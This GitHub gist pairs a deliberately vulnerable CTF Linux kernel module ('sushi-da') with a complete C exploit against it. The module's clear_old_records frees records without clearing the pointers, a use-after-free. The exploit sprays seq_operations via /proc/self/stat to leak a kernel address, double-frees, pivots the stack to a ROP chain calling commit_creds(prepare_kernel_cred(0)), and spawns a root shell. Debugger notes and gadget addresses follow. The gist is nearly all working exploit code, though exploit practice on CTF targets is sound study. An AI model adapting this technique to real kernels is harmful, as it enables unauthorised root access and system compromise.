Skip to content

Instantly share code, notes, and snippets.

@Mech0n
Last active May 21, 2021 02:39
Show Gist options
  • Save Mech0n/af1d2a90ead0e15cdd82b9d20cd629bf to your computer and use it in GitHub Desktop.
Save Mech0n/af1d2a90ead0e15cdd82b9d20cd629bf to your computer and use it in GitHub Desktop.
seq_operations
#include <linux/errno.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/kernel.h>
#include "../include/sushi-da.h"
struct record *records[SUSHI_RECORD_MAX];
long register_record(void *arg)
{
struct ioctl_register_query request;
struct record *ent;
int ix;
long ret = -EINVAL;
if (copy_from_user(&request, (struct ioctl_register_query *)arg, sizeof(request)))
goto end;
ent = kzalloc(sizeof(struct record), GFP_KERNEL);
if (IS_ERR_OR_NULL(ent))
goto end;
memcpy(ent, &request.record, sizeof(struct record));
for (ix = 0; ix != SUSHI_RECORD_MAX; ++ix)
{
if (records[ix] == (struct record *)0)
{
records[ix] = ent;
break;
}
}
ret = 0;
end:
return ret;
}
// to user : idx is `request.rank `
long fetch_record(void *arg)
{
unsigned req_rank;
char rank_index[SUSHI_RECORD_MAX], target_index;
struct ioctl_fetch_query request;
int ix, jx;
long ret = -EINVAL;
if (copy_from_user(&request, (struct ioctl_fetch_query *)arg, sizeof(request)))
goto end;
req_rank = request.rank - 1;
// calc ranking
// find all `records[jx]->result < records[ix]->result` and calc count
// if records[ix] == NULL , then rank_index[ix] = -99
for (ix = 0; ix != SUSHI_RECORD_MAX; ++ix)
{
unsigned char count = 0;
if (records[ix] == (struct record *)0)
{
rank_index[ix] = -99;
continue;
}
for (jx = 0; jx != SUSHI_RECORD_MAX; ++jx)
{
if (ix == jx)
continue;
else if (records[jx] != (struct record *)0 && records[jx]->result < records[ix]->result)
++count;
}
rank_index[ix] = count;
}
for (target_index = 0; target_index != SUSHI_RECORD_MAX; ++target_index)
{
if (rank_index[(unsigned)target_index] == req_rank)
break;
}
if (target_index == SUSHI_RECORD_MAX)
goto end;
if (copy_to_user(&((struct ioctl_fetch_query *)arg)->record, records[(unsigned)target_index], sizeof(struct record)))
{
goto end;
}
ret = 0;
end:
return ret;
}
long clear_old_records(void)
{
int ix;
char tmp[5] = {0};
long date;
for (ix = 0; ix != SUSHI_RECORD_MAX; ++ix)
{
if (records[ix] == NULL)
continue;
strncpy(tmp, records[ix]->date, 4);
if (kstrtol(tmp, 10, &date) != 0 || date <= 1990)
kfree(records[ix]); // BUG : UAF
}
return 0;
}
long clear_all_records(void)
{
int ix;
for (ix = 0; ix != SUSHI_RECORD_MAX; ++ix)
records[ix] = 0;
return 0;
}
static long sushi_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
switch (cmd)
{
case SUSHI_REGISTER_RECORD:
return register_record((void *)arg);
case SUSHI_FETCH_RECORD:
return fetch_record((void *)arg);
case SUSHI_CLEAR_OLD_RECORD:
return clear_old_records();
case SUSHI_CLEAR_ALL_RECORD:
return clear_all_records();
default:
return -EINVAL;
}
}
static const struct file_operations sushi_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = sushi_ioctl,
};
static struct miscdevice sushi_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = "sushi-da",
.fops = &sushi_fops,
};
static void setup_default_ranking(void)
{
static struct record haru_urara = {
.date = "2001/12/24\x00",
.result = 0,
};
static struct record toukai_teio = {
.date = "2021/05/16\x00",
.result = 20,
};
static struct record raisu_shower = {
.date = "2021/05/01\x00",
.result = 12,
};
records[0] = &haru_urara;
records[1] = &toukai_teio;
records[2] = &raisu_shower;
}
static int __init sushi_init(void)
{
setup_default_ranking();
return misc_register(&sushi_device);
}
static void __exit sushi_exit(void)
{
misc_deregister(&sushi_device);
}
module_init(sushi_init);
module_exit(sushi_exit);
MODULE_AUTHOR("TSGLIVE");
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Stay foolish, stay sushi.");
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <poll.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#define SUSHI_REGISTER_RECORD 0xdead001
#define SUSHI_FETCH_RECORD 0xdead002
#define SUSHI_CLEAR_OLD_RECORD 0xdead003
#define SUSHI_CLEAR_ALL_RECORD 0xdead004
#define SUSHI_RECORD_MAX 0x10
#define SUSHI_NAME_MAX 0x10
struct record
{
char date[0x10];
unsigned long result;
};
struct ioctl_register_query
{
struct record record;
};
struct ioctl_fetch_query
{
unsigned rank;
struct record record;
};
#define errExit(msg) \
do \
{ \
perror("[ERROR EXIT]\n"); \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
#define WAIT(msg) \
puts(msg); \
fgetc(stdin);
unsigned long long user_cs, user_ss, user_sp, user_rflags;
int fd; // file descriptor
unsigned long long leak, kernbase, heapbase;
unsigned long long base = 0xffffffff81194090;
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = 0;
_prepare_kernel_cred prepare_kernel_cred = 0;
void pop_shell(void)
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
void save_status()
{
__asm__("mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
static void get()
{
commit_creds(prepare_kernel_cred(0));
asm volatile("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss),
"r"(user_sp),
"r"(user_rflags),
"r"(user_cs), "r"(pop_shell));
}
unsigned long long calc(unsigned long long addr)
{
return addr - base + kernbase;
}
int register_record(char *date, unsigned long result)
{
struct ioctl_register_query request;
memcpy(request.record.date, date, 0x10);
request.record.result = result;
return ioctl(fd, SUSHI_REGISTER_RECORD, &request);
}
int fetch_record(struct ioctl_fetch_query *request)
{
return ioctl(fd, SUSHI_FETCH_RECORD, request);
}
int clear_old_records()
{
return ioctl(fd, SUSHI_CLEAR_OLD_RECORD, 0);
}
int clear_all_records()
{
return ioctl(fd, SUSHI_CLEAR_ALL_RECORD, 0);
}
int main(int argc, char const *argv[])
{
fd = open("/dev/sushi-da", O_RDWR);
save_status();
register_record("1970/12/24\x00", 1970);
clear_old_records();
int victim = open("/proc/self/stat", O_RDONLY);
struct ioctl_fetch_query leak;
leak.rank = 4;
fetch_record(&leak);
kernbase = *(unsigned long *)leak.record.date; // single_start
printf("Leak single_start addr : %#llx\n", *(unsigned long long *)leak.record.date);
commit_creds = calc(0xffffffff8106cd00);
prepare_kernel_cred = calc(0xffffffff8106d110);
printf("Leak commit_creds addr : %#llx\n", commit_creds);
printf("Leak prepare_kernel_cred addr : %#llx\n", prepare_kernel_cred);
unsigned long long *rop =
(unsigned long long *)mmap(0xf6ffa000,
0x8000,
PROT_READ | PROT_EXEC | PROT_WRITE,
MAP_ANON | MAP_PRIVATE | MAP_POPULATE,
-1, 0);
printf("Chain: %#llx\n", rop);
unsigned long long chain[0x100];
size_t rop_chain[] = {
get};
// double free
clear_old_records();
memcpy(0xf6ffac28, rop_chain, sizeof(rop_chain));
struct ioctl_register_query request;
memset(request.record.date, 0, 0x10);
*(unsigned long long *)request.record.date = calc(0xffffffff816216c0);
*((unsigned long long *)request.record.date + 1) = calc(0xffffffff816216c0);
request.record.result = calc(0xffffffff816216c0);
register_record((void *)request.record.date, 0xffffffffdeadc0c0);
printf("Got Shell!\n");
char c;
read(victim, &c, 1);
return 0;
}
// / # ffffffff8106cd00 T commit_creds
// / # ffffffff8106d110 T prepare_kernel_cred
// / # ffffffff81194090 t single_start
// / # sushi_da 16384 0 - Live 0xffffffffc0000000 (O)
// .text:000000000000002E call kmem_cache_alloc_trace ; PIC mode
// b *0xffffffffc000002e
// .text:00000000000001B6 call kfree ; PIC mode
// b *0xffffffffc00001b6
// .text:000000000000014D call _copy_to_user ; PIC mode
// b *0xffffffffc000014d
// 0xffff88800f2bd500
// pwndbg> x/10gx 0xffff88800f2bd540
// 0xffff88800f2bd540: 0x2f32312f30393931 0x6e6f657800003432
// 0xffff88800f2bd550: 0x000000000000001e 0x0000000000000000
// 0xffffffff816216c0: mov esp, 0xf6ffac28; ret;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment